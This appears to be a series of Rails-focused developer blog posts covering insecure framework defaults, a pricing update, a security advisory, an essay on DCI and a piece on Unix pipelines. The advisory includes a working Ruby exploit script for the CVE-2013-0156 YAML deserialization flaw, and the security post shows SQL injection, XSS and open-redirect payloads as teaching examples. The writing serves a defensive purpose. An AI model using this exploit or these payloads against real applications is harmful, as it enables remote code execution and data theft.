You could argue that the developer is at fault, and you’d be right. However, the behavior of regular expression anchors is not necessarily obvious, especially to developers who are not considering multiline values. (Perhaps the attribute is only exposed in a text input field, never a textarea.)

Rails is at the right place in the stack to save developers from themselves and that’s exactly what has been done in Rails 4.

Best Practice: Whenver possible, use \A and \z to anchor regular expressions instead of ^ and $.

The Fix: Rails 4 introduces a multiline option for validates_format_of. If your regular expression is anchored using ^ and $rather than \A and \z and you do not pass multiline: true, Rails will raise an exception. This is a great example of creating safer default behavior, while still providing control to override it where necessary.

3. Clickjacking

Clickjacking or “UI redress attacks” involve rendering the target site in an invisible frame, and tricking a victim to take an unexpected action when they click. If a site is vulnerable to clickjacking, an attacker may trick users into taking undesired actions like making a one-click purchase, following someone on Twitter, or changing their privacy settings.

To defend against clickjacking attacks, a site must prevent itself from being rendered in a frame or iframe on sites that it does not control. Older browsers required ugly “frame busting” JavaScripts, but modern browsers support the X-Frame-Options HTTP header which instructs the browser about whether or not it should allow the site to be framed. This header is easy to include, and not likely to break most websites, so Rails should include it by default.

Best Practice: Use the secure_headers RubyGem by Twitter to add an X-Frame-Options header with the value of SAMEORIGIN or DENY.

The Fix: By default, Rails 4 now sends the X-Frame-Options header with the value of SAMEORIGIN:

X-Frame-Options: SAMEORIGIN

This tells the browser that your application can only be framed by pages originating from the same domain.

4. User-Readable Sessions

The default Rails 3 session store uses signed, unencrypted cookies. While this protects the session from tampering, it is trivial for an attacker to decode the contents of a session cookie:

session_cookie = <<-STR.strip.gsub(/\n/, '')
BAh7CEkiD3Nlc3Npb25faWQGOgZFRkkiJTkwYThmZmQ3Zm
dAY7AEZJIgtzZWtyaXQGO…--4c50026d340abf222…
STR

Marshal.load(Base64.decode64(session_cookie.split("--")[0]))
# => {
#   "session_id"  => "90a8f...",
#   "_csrf_token" => "iUoXA...",
#   "secret"      => "sekrit"
# }

It’s unsafe to store any sensitive information in the session. Hopefully this is a well known, but even if a user’s session does not contain sensitive data, it can still create risk. By decoding the session data, an attacker can gain useful information about the internals of the application that can be leveraged in an attack. For example, it may be possible to understand which authentication system is in use (Authlogic, Devise, etc.).

While this does not create a vulnerability on its own, it can aid attackers. Any information about how the application works can be used to hone exploits, and in some cases to avoid triggering exceptions or tripwires that could give the developer an early warning an attack is underway.

User-readable sessions violate the Principle of Least Privilege, because even though the session data must be passed to the visitor’s browser, the visitor does not need to be able to read the data.

Best Practice: Don’t put any information into the session that you wouldn’t want an attacker to have access to.

The Fix: Rails 4 changed the default session store to be encrypted. Users can no longer decode the contents of the session without the decryption key, which is not available on the client side.

Unresolved Issues

The remainder of this post covers security risks that are still present in Rails’ at the time of publication. Hopefully, at least some of these will be fixed, and I will update this post if that is the case.

1. Verbose Server Headers

The default Rails server is WEBrick (part of the Ruby standard library), even though it is rare to run WEBrick in production. By default, WEBrick returns a verbose Server header with every HTTP response:

HTTP/1.1 200 OK
# …
Server: WEBrick/1.3.1 (Ruby/1.9.3/2012-04-20)

Looking at the WEBrick source, you can see the header is composed with a few key pieces of information:

"WEBrick/#{WEBrick::VERSION} " +
"(Ruby/#{RUBY_VERSION}/#{RUBY_RELEASE_DATE})",

This exposes the WEBrick version, and also the specific Ruby patchlevel being run (since release dates map to patchlevels). With this information, spray and prey scanners can target your server more effectively, and attackers can tailor their attack payloads.

Best Practice: Avoid running WEBrick in production. There are better servers out there like Passenger, Unicorn, Thin and Puma.

The Fix: While this issue originates in the WEBrick source, Rails should configure WEBrick to use a less verbose Server header. Simply “Ruby” seems like a good choice.

2. Binding to 0.0.0.0

If you boot a Rails server, you’ll see something like this:

$ ./script/rails server -e production
=> Booting WEBrick
=> Rails 3.2.12 application starting in production on http://0.0.0.0:3000

Rails is binding on 0.0.0.0 (all network interfaces) instead of 127.0.0.1 (local interface only). This can create security risk in both development and production contexts.

In development mode, Rails is not as secure (for example, it renders diagnostic 500 pages). Additionally, developers may load a mix of production data and testing data (e.g. username: admin / password: admin). Scanning for web servers on port 3000 in a San Francisco coffee shop would probably yield good targets.

In production, Rails should be run behind a proxy. Without a proxy, IP spoofing attacks are trivial. But if Rails binds on 0.0.0.0, it may be possible to easily circumvent a proxy by hitting Rails directly depending on the deployment configuration.

Therefore, binding to 127.0.0.1 is a safer default than 0.0.0.0 in all Rails environments.

Best Practice: Ensure your Web server process is binding on the minimal set of interfaces in production. Avoid loading production data on your laptop for debugging purposes. If you must do so, load a minimal dataset and remove it as soon as it’s no longer necessary.

The Fix: Rails already provides a --binding option to change the IP address that the server listens on. The default should be changed from 0.0.0.0 to 127.0.0.1. Developers who need to bind to other interfaces in production can make that change in their deployment configurations.

3. Versioned Secret Tokens

Every Rails app gets a long, randomly-generated secret token in config/initializers/secret_token.rb when it is created with rails new. It looks something like this:

WebStore::Application.config.secret_token = '4f06a7a…72489780f'

Since Rails creates this automatically, most developers do not think about it much. But this secret token is like a root key for your application. If you have the secret token, it is trivial to forge sessions and escalate privileges. It is one of the most critical pieces of sensitive data to protect. Encryption is only as good as your key management practices.

Unfortunately, Rails falls flat in dealing with these secret token. The secret_token.rb file ends up checked into version control, and copied to GitHub, CI servers and every developer’s laptop.

Best Practice: Use a different secret token in each environment. Inject it via an ENV var into the application. As an alternative, symlink the production secret token in during deployment.

This Fix: At a minimum, Rails should .gitignore the config/initializers/secret_token.rb file by default. Developers can symlink a production token in place when they deploy or change the initializer to use an ENV var (on e.g. Heroku).

I would go further and propose that Rails create a storage mechanism for secrets. There are many libraries that provide installation instructions involving checking secrets into initializers, which is a bad practice. At the same time, there are at least two popular strategies for dealing with this issue: ENV vars and symlinked initializers.

Rails is in the right place to provide a simple API that developers can depend on for managing secrets, with a swappable backend (like the cache store and session store).

4. Logging Values in SQL Statements

The config.filter_parameters Rails provides is a useful way to prevent sensitive information like passwords from accumulating in production log files. But it does not affect logging of values in SQL statements:

Started POST "/users" for 127.0.0.1 at 2013-03-12 14:26:28 -0400
Processing by UsersController#create as HTML
  Parameters: {"utf8"=>"✓œ“", "authenticity_token"=>"...",
  "user"=>{"name"=>"Name", "password"=>"[FILTERED]"}, "commit"=>"Create User"}
  SQL (7.2ms)  INSERT INTO "users" ("created_at", "name", "password_digest",
  "updated_at") VALUES (?, ?, ?, ?)  [["created_at",
  Tue, 12 Mar 2013 18:26:28 UTC +00:00], ["name", "Name"], ["password_digest",
  "$2a$10$r/XGSY9zJr62IpedC1m4Jes8slRRNn8tkikn5.0kE2izKNMlPsqvC"], ["updated_at",
  Tue, 12 Mar 2013 18:26:28 UTC +00:00]]
Completed 302 Found in 91ms (ActiveRecord: 8.8ms)

The default Rails logging level in production mode (info) will not log SQL statements. The risk here is that sometimes developers will temporarily increase the logging level in production when debugging. During those periods, the application may write sensitive data to log files, which then persist on the server for a long time. An attacker who gains access to read files on the server could find the data with a simple grep.

Best Practice: Be aware of what is being logged at your production log level. If you increase the log level temporarily, causing sensitive data to be logged, remove that data as soon as it’s no longer needed.

The Fix: Rails could change the config.filter_parameters option into something like config.filter_logs, and apply it to both parameters and SQL statements. It may not be possible to properly filter SQL statements in all cases (as it would require a SQL parser) but there may be an 80/20 solution that could work for standard inserts and updates.

As an alternative, Rails could redact the entire SQL statement if it contains references to the filtered values (for example, redact all statements containing “password”), at least in production mode.

5. Offsite Redirects

Many applications contain a controller action that needs to send users to a different location depending on the context. The most common example is a SessionsController that directs the newly authenticated user to their intended destination or a default destination:

class SignupsController < ApplicationController
  def create
    # ...
    if params[:destination].present?
      redirect_to params[:destination]
    else
      redirect_to dashboard_path
    end
  end
end

This creates the risk that an attacker can construct a URL that will cause an unsuspecting user to be sent to a malicious site after they login:

https://example.com/sessions/new?destination=http://evil.com/

Unvalidated redirects can be used for phishing or may damage the users trust in you because it appears that you sent them to a malicious website. Even a vigilant user may not check the URL bar to ensure they are not being phished after their first page load. The issue is serious enough that it has made it into the latest edition of the OWASP Top Ten Application Security Threats.

Best Practice: When passing a hash to #redirect_to, use the only_path: true option to limit the redirect to the current host:

redirect_to params.merge(only_path: true)

When passing a string, you can parse it an extract the path:

redirect_to URI.parse(params[:destination]).path

The Fix: By default, Rails should only allow redirects within the same domain (or a whitelist). For the rare cases where external redirects are intended, the developer should be required to pass an external: true option to redirect_to in order to opt-in to the more risky behavior.

6. Cross Site Scripting (XSS) Via link_to

Many developers don’t realize that the HREF attribute of the link_to helper can be used to inject JavaScript. Here is an example of unsafe code:

<%= link_to "Homepage", user.homepage_url %>

Assuming the user can set the value of their homepage_url by updating their profile, it creates the risk of XSS. This value:

user.homepage_url = "javascript:alert('hello')"

Will generate this HTML:

<a href="javascript:alert('hello')">Homepage</a>

Clicking the link will execute the script provided by the attacker. Rails’ XSS protection will not prevent this. This used to be necessary and common before the community migrated to more unobtrusive JavaScript techniques, but is now a vestigial weakness.

Best Practice: Avoid using untrusted input in HREFs. When you must allow the user to control the HREF, run the input through URI.parse first and sanity check the protocol and host.

The Fix: Rails should only allow paths, HTTP, HTTPS and mailto: href values in the link_to helper by default. Developers should have to opt-in to unsafe behavior by passing in an option to the link_to helper, or link_to could simply not support this and developers can craft their links by hand.

7. SQL Injection

Rails does a relatively good job of preventing common SQL injection (SQLi) attacks, so developers may think that Rails is immune to SQLi. Of course, that is not the case. Suppose a developer needs to pull either subtotals or totals off the orders table, based on a parameter. They might write:

Order.pluck(params[:column])

This is not a safe thing to do. Clearly, the user can now manipulate the application to retrieve any column of data from the orders table that they wish. What is less obvious, however, is that the attacker can also pull values from other tables. For example:

params[:column] = "password FROM users--"
Order.pluck(params[:column])

Will become:

SELECT password FROM users-- FROM "orders"

Similarly, the column_name attribute to #calculate actually accepts arbitrary SQL:

params[:column] = "age) FROM users WHERE name = 'Bob'; --"
Order.calculate(:sum, params[:column])

Will become:

SELECT SUM(age) FROM users WHERE name = 'Bob'; --) AS sum_id FROM "orders"

Controlling the column_name attribute of the #calculate method allows the attacker to pull specific values from arbitrary columns on arbitrary tables.

Rails-SQLi.org details which ActiveRecord methods and options permit SQL, with examples of how they might be attacked.

Best Practice: Understand the APIs you use and where they might permit more dangerous operations than you’d expect. Use the safest APIs possible, and whitelist expected inputs.

The Fix: This one is difficult to solve en masse, as the proper solution varies by context. In general, ActiveRecord APIs should only permit SQL fragments where they are commonly used. Method parameters named column_name should only accept column names. Alternative APIs can be provided for developers who need more control.

Hat tip to Justin Collins of Twitter for writing rails-sqli.org which made me aware of this issue.

8. YAML Deserialization

As many Ruby developers learned in January, deserializing untrusted data with YAML is as unsafe as eval. There’s been a lot written about YAML-based attacks, so I won’t rehash it here, but in summary if the attacker can inject a YAML payload, they can execute arbitrary code on the server. The application does not need to do anything other than load the YAML in order to be vulnerable.

Although Rails was patched to avoid parsing YAML sent to the server in HTTP requests, it still uses YAML as the default serialization format for the #serialize feature, as well as the new #store feature (which is itself a thin wrapper around #serialize). Risky code looks like this:

class User < ActiveRecord::Base
  # ...
  serialize :preferences

  store :theme, accessors: [ :color, :bgcolor ]
end

Most Rails developers would not feel comfortable with storing arbitrary Ruby code in their database, and evaling it when the records are loaded, but that’s the functional equivalent of using YAML deserialization in this way. It violates the Principle of Least Privilege when the stored data does not include arbitrary Ruby objects. Suddenly a vulnerability allowing the writing of a value in a database can be springboarded into taking control of the entire server.

The use of YAML is especially concerning to me as it looks safe but is dangerous. The YAML format was looked at for years by hundreds of skilled developers before the remote code execution (RCE) vulnerability was exposed. While this is top of mind in the Ruby community now, new developers who pick up Rails next year will not have experienced the YAML RCE fiasco.

Best Practice: Use the JSON serialization format instead of YAML for #serialize and #store:

class User < ActiveRecord::Base
  serialize :preferences, JSON
  store :theme, accessors: [ :color, :bgcolor ], coder: JSON
end

The Fix: Rails should switch its default serialization format for ActiveRecord from YAML to JSON. The YAML behavior should be either available by opt-in or extracted into an optional Gem.

9. Mass Assignment

Rails 4 switched from using attr_accessible to deal with mass assignment vulnerabilities to the strongparameters approach. The params object is now an instance of ActionController::Parameters. strongparameters works by checking that instances of Parameters used in mass assignment are “permitted” – that a developer has specifically indicated which keys (and value types) are expected.

In general, this is a positive change, but it does introduce a new attack vector that was not present in the attr_accessible world. Consider this example:

params = { user: { admin: true }.to_json }
# => {:user=>"{\"admin\":true}"}

@user = User.new(JSON.parse(params[:user]))

JSON.parse returns an ordinary Ruby Hash rather than an instance of ActionController::Parameters. With strong_parameters, the default behavior is to allow instances of Hash to set any model attribute via mass assignment. The same issue occurs if you use params from a Sinatra app when accessing an ActiveRecord model – Sinatra will not wrap the Hash in an instance of ActionController::Parameters.

Best Practice: Rely on Rails’ out-of-the-box parsing whenever possible When combining ActiveRecord models with other web frameworks (or deserializing data from caches, queues, etc.) wrap input in ActionController::Parameters so that strong_parameters works.

The Fix: It’s unclear what the best way for Rails to deal with this is. Rails could override deserialization methods like JSON.parse to return instances of ActionController::Parameters but that is relatively invasive and could cause compatibility issues.

A concerned developer could combine strongparameters with `attraccessiblefor highly sensitive fields (likeUser#admin`) for extra protection, but that is likely overkill for most situations. In the end, this may just be a behavior we need to be aware of and look out for.

Update: If you’ve made it all the way here and want to learn more about Rails security, check out our free, 1-month Rails security email course.

Hat tip to Brendon Murphy for making me aware of this issue.

Thanks to Adam Baldwin, Justin Collins, Neil Matatell, Noah Davis and Aaron Patterson for reviewing this article.

Security Monitor regularly scans your Rails apps and lets your team know as soon as new potential vulnerabilities are found. It keeps your app and data safe by catching common security issues code before they reach production.

Some large organizations employ security specialists to review every commit before they go live, but many teams can’t afford that cost and the slowdown on their release cycles. Security Monitor gives you a second set of eyes on every commit – eyes that are well trained to spot common Rails security issues – but much faster and at a fraction of the cost.

(We love security experts, we just think their time is better spent on the hard security problems rather than common, easily detectible issues.)

Code Climate keeps getting better

We’ve been astonished and humbled by the growth of Code Climate over the past year. What began as a simple project to make static analysis easy for Ruby projects has grown into much more than that. The praise has been overwhelming:

“I’ve only been using Code Climate for about 10 minutes and it’s already become one of the most useful tools we have access to.” —Ryan Kee

Every day we work to make the product even better for our customers. Since we’ve launched, we’ve added things like:

• Easy-to-understand A-F ratings for each class and Quality GPAs
• Class Compare view for identifying exactly what changed
• Quality alerts and totally new weekly summary emails
• Trends charts and churn metrics
• GitHub, Pivotal Tracker, and Lighthouse integration

Now that Security Monitor is out the door, the next big feature we are working on is Branch Testing. Soon, you’ll be able to easily see the quality changes and new security risks of every feature branch and pull request before they get merged into master.

Changes to our pricing

Our current plans have been in place for over a year, and the product has changed tremendously in that time. We believe (and we’ve been told many times) that Code Climate is much more valuable today than it was when started.

Additionally, Security Monitor has proven to be incredibly valuable to teams looking for help trying to catch risky code before it makes its way into production. We wouldn’t be able to offer it on all plans, so we’re making some changes.

Today we’re rolling out new plans for private accounts:

I’d like to address some common questions…

I’m a current customer. How does this affect me?

We love you. Your support was key to getting Code Climate to this point. The plan you’re currently on isn’t changing at all, and won’t for at least two years.

Also, we think if you’re running Rails in a commercial capacity you’d strongly benefit from upgrading to our Team plan, which has the Security Monitor feature we talked about above.

To make that a no-brainer decision for you, we’ll comp you $25 a month for the next two years if you upgrade to a Team, Company or Enterprise plan before April 2nd. Look for an email with a link to upgrade arriving today (Tuesday, March 19th).

Also, big new features like Branch/Pull Request Testing will only be available on the new plans, upgrade now to avoid missing out on this big, one-time discount.

I’m on the fence about Code Climate. What should I do?

To make it easy for you to get off the fence, we’re extending a discount of $25/month for the next two years ($600 value) if you start a free trial before April 2nd. Now is the best time to start a free trial and lock in that discount.

Why charge per user?

Ultimately, it is best for you guys, our customers, if our pricing creates a vibrant, sustainable company that can be here for the long haul and improving Code Climate so that it continues to create massive value for your businesses.

Within that overarching goal, we’d like our pricing to scale with customer success: we’d like entry-level users to be able to get started without sacrificing too much ramen and for extraordinarily successful software companies to pay appropriately given the value Code Climate creates for them.

It turns out that per-repository pricing doesn’t necessarily proxy customer success all that well: Google, for example, is rumored to have a grand total of one Perforce repository. Many smaller teams (like the good folks at Travis CI) have dozens, given that Git encourages a one-repo-per-project workflow. To more appropriately balance prices between small teams and the Google’s of the world (not technically a customer yet but hey, Larry, call me), we’re adding a per-user component to pricing.

This largely affects larger commercial enterprises which are used to per-seat licensing, have defined budgets for per-employee expenses (like healthcare, training, and equipment, next to which Code Climate is very reasonably priced), and can easily see the substantial business value created by lowering software maintenance costs, keeping projects on track, and reducing security risk.

It also lets us invest substantially in development operations to support new features like Security Monitor which are most critically needed by larger teams, while keeping the basic Code Climate offering available and reasonably priced for all teams and 100% free for open source projects.

I’m a student or non-profit. Can you help?

Yes. We now offer educational and non-profit discounts to qualifying people and organizations. We’re interested in supporting you.

We’re also incredibly grateful to our hosting partners Blue Box whose support makes it possible to provide this service free for OSS! Blue Box has provided us great uptime, dependable monitoring and support, and help planning for our continued growth. I definitely encourage everyone to check them
 out. Thanks guys!

Code quality can be especially important for OSS because there are many contributors involved. We try to make it easy to monitor overall quality by providing projects with a “Quality GPA” calculated by aggregating the ratings for each class, weighted by lines of code, into an average from 0 to 4.0.

Fun fact: The average open source project on Code Climate has a GPA of 3.6 – which we thinks speaks volumes about the culture of quality in the Ruby open source community. Andy Lindeman, project lead for rspec-rails, explained:

Code Climate helps keep both the core team and contributors accountable since we display the GPA badge at the top of the READMEs. The GPA is useful in finding pieces of code that would benefit from a refactor or redesign, and the feed of changes (especially when things “have gotten worse”) is useful to nip small problems before they become big problems.

Erik Michaels-Ober also uses Code Climate for his many RubyGems and noted, “I spent one day refactoring the Twitter gem with Code Climate and it dramatically reduced the complexity and duplication in the codebase. If you maintain an open source project, there’s no excuse not to use it.”

Curious about your project’s GPA? Just provide the name of the repo on the Add GitHub Repository page. Code Climate will clone the project, analyze it, and shoot you an email when the metrics are ready - all in a couple of minutes. Once you’ve added your project, you can show off your code’s GPA by adding a dynamic badge (designed by Oliver Lacan and part of his open source shields project) to your project’s README or site.

Here’s to the next 5,000 projects!

On Tuesday, a vulnerability was patched in Rails’ Action Pack layer that allows for remote code execution. Since then, a number of proof of concepts have been publicly posted showing exactly how to exploit this issue to trick a remote server into running an attacker’s arbitrary Ruby code.

This post is an attempt to document the facts, raise awareness, and drive organizations to protect their applications and data immediately. Given the presence of automated attack tools, mass scanning for vulnerable applications is likely already in progress.

Vulnerability Summary

An attacker sends a specially crafted XML request to the application containing an embedded YAML-encoded object. Rails’ parses the XML and loads the objects from YAML. In the process, arbitrary Ruby code sent by the attacker may be executed (depending on the type and structure of the injected objects).

• Threat Agents: Anyone who is able to make HTTPs request to your Rails application.
• Exploitability: Easy — Proof of concepts in the wild require only the URL of the application to attack a Ruby code payload.
• Prevalence: Widespread — All Rails versions prior to those released on Tuesday are vulnerable.
• Detectability: Easy — No special knowledge of the application is required to test it for the vulnerability, making it simple to perform automated spray-and-pray scans.
• Technical Impacts: Severe — Attackers can execute Ruby (and therefore shell) code at the privilege level of the application process, potentially leading to host takeover.
• Business Impacts: Severe — All of your data could be stolen and your server resources could be used for malicious purposes. Consider the reputation damage from these impacts.

Step by step:

1. Rails parses parameters based on the Content-Type of the request. You do not have to be generating XML based responses, calling respond_to or taking any specific action at all for the XML params parser to be used.
2. The XML params parser (prior to the patched versions) activates the YAML parser for elements with type="yaml". Here’s a simple example of XML embedding YAML: yaml: goes here foo: - 1 - 2
3. YAML allows the deserialization of arbitrary Ruby objects (providing the class is loaded in the Ruby process at the time of the deserialization), setting provided instance variables.
4. Because of Ruby’s dynamic nature, the YAML deserialization process itself can trigger code execution, including invoking methods on the objects being deserialized.
5. Some Ruby classes that are present in all Rails apps (e.g. an ERB template) evaluate arbitrary code that is stored in their instance variables (template source, in the case of ERB).
6. Evaluating arbitrary Ruby code allows for the execution of shell commands, giving the attacked the full privileges of the user running the application server (e.g. Unicorn) process.

It’s worth noting that any Ruby code which takes untrusted input and processes it with YAML.load is subject to a similar vulnerability (known as “object injection”). This could include third-party RubyGems beyond Rails, or your own application source code. Now is a good time to check for those cases as well.

Proof of Concept

At the suggestion of a member of the Rails team who I respect, I’ve edited this post to withhold some details about how this vulnerability is being exploited. Please be aware however that full, automated exploits are already in the hands of the bad guys, so do not drag your feet on patching.

There are a number of proof of concepts floating around (see the External Links section), but the ones I saw all required special libraries. This is an example based on them with out-of-the-box Ruby (and Rack):

# Copyright (c) 2013 Bryan Helmkamp, Postmodern, GPLv3.0
require "net/https"
require "uri"
require "base64"
require "rack"

url   = ARGV[0]
code  = File.read(ARGV[1])

# Construct a YAML payload wrapped in XML
payload = <<-PAYLOAD.strip.gsub("\n", "&#10;")
<fail type="yaml">
--- !ruby/object:ERB
  template:
    src: !binary |-
      #{Base64.encode64(code)}
</fail>
PAYLOAD

# Build an HTTP request
uri = URI.parse(url)
http = Net::HTTP.new(uri.host, uri.port)
if uri.scheme == "https"
  http.use_ssl = true
  http.verify_mode = OpenSSL::SSL::VERIFY_NONE
end
request = Net::HTTP::Post.new(uri.request_uri)
request["Content-Type"] = "text/xml"
request["X-HTTP-Method-Override"] = "get"
request.body = payload

# Print the response
response = http.request(request)
puts "HTTP/1.1 #{response.code} #{Rack::Utils::HTTP_STATUS_CODES[response.code.to_i]}"
response.each { |header, value| puts "#{header}: #{value}" }
puts
puts response.body

There’s not much to it beyond the payload itself. The only interesting detail is the use of the X-Http-Method-Override header which instructs Rails to interpret the POST request as a GET.

Originally reports indicated that the vulnerability could only be used on POST/PUT-accessible endpoints. With this trick, we can send a POST (with an XML body) which the Rails router resolves as a GET. This makes it even easier to exploit because you don’t have to identify a POST-accessible URL for each application.

How It Works

Knowing that Rails will YAML.load the payload, the only difficulty is building a tree of objects that, when deserialized, executes arbitrary Ruby code in the payload. The object graph must be constructed using only classes that are present in the process.

This proof of concept uses ERB, a Ruby object that conveniently is designed to hold Ruby code in its @src instance variable, and execute it when #result is called. The only thing missing is triggering the #result call. Suffice it to say, a slighlty more complex YAML payload can achieve this. I’ve decided to omit the exact specifics here, but I’m aware of two vectors:

• Ruby’s YAML parser calls #init_with, a hook that objects can define to control YAML deserialization. So any class that defines #init_with and also calls methods on its own instance variables in it could be leveraged to trigger a call into the malicious code.
• Ruby’s YAML parser can also trigger the invokation of the #[]= (hash setter) method on objects it is building, so objects that take dangerous action based on assigned hash values are also exploitable.

Assessment

With the app source, check for the presence of an affected Rails version and the absence of a workaround. Assessing vulnerability without source code access is slightly more complex but still easy. By sending in payloads and checking the server’s response, you can detect if the application seems to be performing YAML deserialization of params.

For example, Metasploit now includes a scanner that sends two requests, one with a valid YAML object and one with an invalid YAML. If the server responds differently (for example, if it returns a 500 for the invalud YAML only), it is likely deserializing the YAML and vulnerable.

Mitigation

The simplest fix is to upgrade to a patched Rails releases: 3.2.11, 3.1.10, 3.0.19 or 2.3.15. If you cannot upgrade immediately, consider applying one of the published patches.

Workarounds exist for Rails 2.3 and above to disable the dangerous functionality from an initializer without requiring a Rails upgrade. You can find them in the official disclosure.

Because of the severity of this issue, if you cannot upgrade or patch your Rails version immediately, consider urgently applying the workaround.

External Links

• Rails Security Mailing List: Multiple vulnerabilities in parameter parsing in Action Pack (CVE-2013-0156)
• SecurityStreet - Serialization Mischief in Ruby Land (CVE-2013-0156)

Thanks to Adam Baldwin of Lift Security for reviewing this post.

A few days ago I wrote a blog post arguing that rails developers should take DCI seriously. Be careful what you wish for! A tumultuous brouhaha soon ensued on Twitter. I can’t necessarily take the credit for that, but I’m glad it happened, because one of the people at the center of the cyclone, Rails creator David Heinemeier Hansson, wrote a good blog post on ActiveSupport::Concern, which included a moment of taking DCI seriously.

[…] breaking up domain logic into concerns is similar in some ways to the DCI notion of Roles. It doesn’t have the run-time mixin acrobatics nor does it have the “thy models shall be completely devoid of logic themselves” prescription, but other than that, it’ll often result in similar logic extracted using similar names.

DCI (data, context, and interaction) is a paradigm for structuring object-oriented code. Its inventor, Trygve Reenskaug, also created MVC, an object-oriented paradigm every Rails developer should be familiar with. Most Ruby implementations use mixins quite a lot, and there is indeed some similarity there.

However, there’s a lot more to DCI than just mixins, and since I’ve already gone into detail about it elsewhere, as have many others, I won’t get into that here. I’m very much looking forward to case studies from people who’ve used it seriously. Likewise, there are a lot of good reasons to feel cautious about using mixins, either for Rails concerns or for DCI, but that discussion’s ongoing and deserves (and is receiving) several blog posts of its own.

What I want to talk about is this argument in Hansson’s blog post:

I find that concerns are often just the right amount of abstraction and that they often result in a friendlier API. I far prefer current_account.posts.visible_to(current_user) to involving a third query object. And of course things like Taggable that needs to add associations to the target object are hard to do in any other way.

It’s true that this will lead to a proliferation of methods on some objects, but that has never bothered me. I care about how I interact with my code base through the source.

I added the emphasis to the final sentence because I think it’s far more important than most people realize.

To explain, I want to draw an example from my new book Rails As She Is Spoke, which has a silly title but a serious theme, namely the ways in which Rails departs from traditional OOP, and what we can learn from that. The example concerns the familiar method url_for. But I should say “methods,” because the Rails code base (as of version 3.2) contains five different methods named url_for.

The implementations for most of these methods are hideous, and they make it impossible not to notice the absence of a Url class anywhere in the Rails code base — a truly bizarre bit of domain logic for a Web framework not to model — yet these same, hideously constructed methods enable application developers to use a very elegant API:

url_for controller: foo, action: bar, additional: whatnot

Consider again what Hansson said about readable code:

I care about how I interact with my code base through the source.

I may be reading too much into a single sentence here, but after years of Rails development, I strongly believe that Rails uses this statement about priorities as an overarching design principle. How else do you explain a Web framework that does not contain a Url class within its own internal domain logic, yet provides incredible conveniences like automated migrations and generators for nearly every type of file you might need to create?

The extraordinary internal implementation of ActiveRecord::Base, and its extremely numerous modules, bends over backwards to mask all the complexity inherent in instantiating database-mapping objects. It does much, much less work to make its own internal operations easy to understand, or easy to reason about, or easy to subclass, and if you want to cherry-pick functionality from ActiveRecord::Base, your options span a baffling range from effortless to impossible.

Consider a brief quote from this recent blog post on the params object in Rails controllers:

In Ruby, everything is an object and this unembarrassed object-orientation gives Ruby much of its power and expressiveness. […] In Rails, however, sadly, there are large swathes which are not object oriented, and in my opinion, these areas tend to be the most painful parts of Rails.

I agree with part of this statement. I think it’s fair to say that Ruby takes its object-oriented nature much more seriously than Rails does. I also agree that customizing Rails can be agonizingly painful, whenever you dip below the framework’s beautifully polished surface into the deeper realms of its code, which is sometimes object-oriented and sometimes not. But if you look at this API:

url_for controller: foo, action: bar, additional: whatnot

It doesn’t look like object-oriented code at all. An object-oriented version would look more like this:

Url.new(:foo, :bar, additional: whatnot)

The API Rails uses looks like Lisp, minus all the aggravating parentheses.

(url_for ((controller, 'foo),
          (action, 'bar),
          (additional, whatnot)))

That API is absolutely not, in my opinion, one of “the most painful parts of Rails.” It’s one of the least painful parts of Rails. I argue in my book that Rails owes a lot of its success to creating a wonderful user experience for developers — making it the open source equivalent of Apple — and I think this code is a good example.

Rails disregards object orientation whenever being object-oriented stands in the way of a clean API, and I actually think this is a very good design decision, with one enormous caveat: when Rails first debuted, Rails took a very firm position that it was an opinionated framework very highly optimized for one (and only one) particular class of Web application.

If (and only if) every Rails application hews to the same limited range of use cases, and never strays from the same narrow path of limited complexity, then (and only then) it makes perfect sense to prioritize the APIs which developers see over their ability to reason about the domain logic of their applications and of the framework itself.

Unfortunately, the conditions of my caveat do not pertain to the overwhelming majority of Rails apps. This is why Rails 3 abandoned the hard line on opinionated software for a more conciliatory approach, which is to say that Rails is very highly optimized for a particular class of Web application, but sufficiently modular to support other types of Web applications as well.

If you take this as a statement about the characteristics of Rails 3, it’s outrageously false, but if you take it as a design goal for Rails 3 and indeed (hopefully) Rails 4, it makes a lot of sense and is a damn good idea.

In this context, finding “just the right amount of abstraction” requires more than just defining the most readable possible API. It also requires balancing the most readable possible API with the most comprehensible possible domain model. There’s an analogy to human writing: you can’t just write beautiful sentences and call it a day. If you put beautiful sentences on pages at random, you might have poetry, if you get lucky, but you won’t have a story.

This is an area where DCI demolishes concerns, because DCI provides an entire vocabulary for systematic decomposition. If there’s any guiding principle for decomposing models with concerns, I certainly don’t recall seeing it, ever, even once, in my 7 years as a Rails developer. As far as I can tell the closest thing is: “Break the class into multiple files if…”

• There are too many lines of code.
• It’s Tuesday.
• It’s not Tuesday.

DCI gives developers something more fine-grained.

I’m not actually a DCI zealot; I’m waiting until I’ve built an app with DCI and had it running for a while before I make any strident or definitive statements. The Code Climate blog itself featured some alternative solutions to the overburdened models problem, and these solutions emphasize classes over mixins. You could do worse than to follow them to the letter. Other worthwhile alternatives exist as well; there is no silver bullet.

However, Rails concerns are just one way to decompose overburdened models. Concerns are appropriate for some apps and inappropriate for others, and I suspect the same is true of DCI. Either way, if you want to support multiple types of applications, with multiple levels and types of complexity, then making a blanket decision about “just the right amount of abstraction” is pretty risky, because that decision may in fact function at the wrong level of abstraction itself.

It doesn’t take a great deal of imagination to understand that different apps feature different levels of complexity, and you should choose which technique you use for managing complexity based on how much complexity you’re going to be managing. As William Gibson said, “the street finds its own uses for things,” and I think most Rails developers use Rails to build apps that are more complex than the apps Rails is optimized for. I’ve certainly seen apps where that was true, and in those apps, concerns did not solve the problem.

It’s possible this means people should be using Merb instead of Rails, although that train appears to have left the station (and of course it left the station on Rails).

(PS: You should read my book.)

In 1964, Doug McIlroy, an engineer at Bell Labs, wrote an internal memo describing some of his ideas for the Multics operating system. The surviving tenth page summarizes the four items he felt were most important. The first item on the list reads:

“We should have some ways of coupling programs like [a] garden hose – screw in another segment when it becomes necessary to massage data in another way.”

This sentence describes what ultimately became the Unix pipeline: the chaining together of a set of programs such that the output of one is fed into the next as input. Every time we run a command like tail -5000 access.log | awk '{print $4}' | sort | uniq -c we’re benefiting from the legacy of McIlroy’s garden hose analogy. The pipeline enables each program to expose a small set of features and, through the interface of the standard streams, collaborate with other programs to deliver a larger unit of functionality.

It’s mind-expanding when a Unix user figures out how to snap together their system’s various small command-line programs to accomplish tasks. The pipeline renders each command-line tool more powerful as a stage in a larger operation than it could have been as a stand-alone utility. We can couple together any number of these small programs as necessary and build new tools which add specific features as we need them. We can now speak Unix in compound sentences.

